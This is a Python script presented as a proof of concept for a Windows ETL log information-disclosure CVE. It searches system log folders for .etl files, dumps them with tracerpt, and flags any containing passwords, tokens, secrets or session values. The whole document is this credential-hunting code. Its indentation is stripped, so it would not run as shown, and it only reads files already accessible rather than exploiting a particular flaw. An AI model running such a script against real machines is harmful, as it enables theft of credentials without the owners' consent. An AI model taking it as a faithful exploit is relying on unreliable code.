The following code is for security research and authorized testing only.
python
# CVE-2025-59197 - Windows ETL Channel Information Disclosure PoC
# This PoC demonstrates how to locate and read ETL log files that may contain sensitive information
import os
import subprocess
import glob
def find_etl_log_files():
"""Search for ETL log files in common Windows locations"""
etl_paths = [
os.path.join(os.environ.get('SystemRoot', 'C:\\Windows'), 'System32\\LogFiles'),
os.path.join(os.environ.get('ProgramData', 'C:\\ProgramData'), 'Microsoft'),
os.path.join(os.environ.get('SystemRoot', 'C:\\Windows'), 'Logs'),
os.path.join(os.environ.get('SystemRoot', 'C:\\Windows'), 'System32\\wbem\\Logs'),
]
etl_files = []
for path in etl_paths:
if os.path.exists(path):
pattern = os.path.join(path, '**', '*.etl')
etl_files.extend(glob.glob(pattern, recursive=True))
return etl_files
def read_etl_log(etl_path):
"""Attempt to read ETL log file contents using xperf or tracerpt"""
try:
# Use tracerpt to convert ETL to text format
result = subprocess.run(
['tracerpt', etl_path, '-o', '-', '-report'],
capture_output=True, text=True, timeout=30
)
return result.stdout
except (subprocess.TimeoutExpired, FileNotFoundError):
return None
def search_sensitive_info(log_content):
"""Search for sensitive patterns in log content"""
sensitive_patterns = [
'password', 'credential', 'token', 'secret',
'key=', 'auth=', 'login=', 'session='
]
findings = []
if log_content:
for pattern in sensitive_patterns:
if pattern.lower() in log_content.lower():
findings.append(pattern)
return findings
if __name__ == '__main__':
print("[*] Searching for ETL log files...")
etl_files = find_etl_log_files()
print(f"[*] Found {len(etl_files)} ETL log files")
for etl_file in etl_files:
print(f"\n[*] Analyzing: {etl_file}")
content = read_etl_log(etl_file)
if content:
sensitive = search_sensitive_info(content)
if sensitive:
print(f"[!] Sensitive patterns found: {sensitive}")
print(f"[!] Potential information disclosure in {etl_file}")